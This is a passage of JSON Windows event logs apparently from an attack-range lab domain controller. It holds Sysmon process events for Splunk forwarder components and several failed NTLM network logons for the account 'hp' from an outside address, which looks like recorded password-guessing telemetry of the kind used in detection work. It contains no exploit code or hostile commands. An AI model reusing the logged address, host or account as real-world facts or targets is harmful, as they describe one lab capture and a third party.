11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2231,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.797\r\nSourceProcessGUID: {90617006-3FF0-5F2D-0000-0010E9730300}\r\nSourceProcessId: 3996\r\nSourceThreadId: 4008\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.797","SourceProcessGUID":"{90617006-3FF0-5F2D-0000-0010E9730300}","SourceProcessId":"3996","SourceThreadId":"4008","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221511,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t62218\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"62218","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221512,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t62285\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"62285","EventReceivedTime":"2020-08-07 11:50:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221513,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t62406\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"62406","EventReceivedTime":"2020-08-07 11:50:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221514,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t62505\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"62505","EventReceivedTime":"2020-08-07 11:50:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2232,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.317\r\nProcessGuid: {90617006-3FF1-5F2D-0000-0010B3770300}\r\nProcessId: 2292\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\r\nFileVersion: 8.0.2\r\nDescription: Monitor windows event logs\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winevtlog.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=A735F697C6C533F20D023E4318824194,SHA256=295236CFB06A5F9C1F76EECC468F9A070BFCB5C4E094918059EC86BBB654E119,IMPHASH=85F4904CF3562658E303E53274ABD436\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.317","ProcessGuid":"{90617006-3FF1-5F2D-0000-0010B3770300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe","FileVersion":"8.0.2","Description":"Monitor windows event logs","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winevtlog.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=A735F697C6C533F20D023E4318824194,SHA256=295236CFB06A5F9C1F76EECC468F9A070BFCB5C4E094918059EC86BBB654E119,IMPHASH=85F4904CF3562658E303E53274ABD436","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2233,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.484\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FF1-5F2D-0000-0010B3770300}\r\nTargetProcessId: 2292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.484","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FF1-5F2D-0000-0010B3770300}","TargetProcessId":"2292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2234,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.484\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FF1-5F2D-0000-0010B3770300}\r\nTargetProcessId: 2292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.484","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FF1-5F2D-0000-0010B3770300}","TargetProcessId":"2292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2235,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:09.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2236,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:09.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 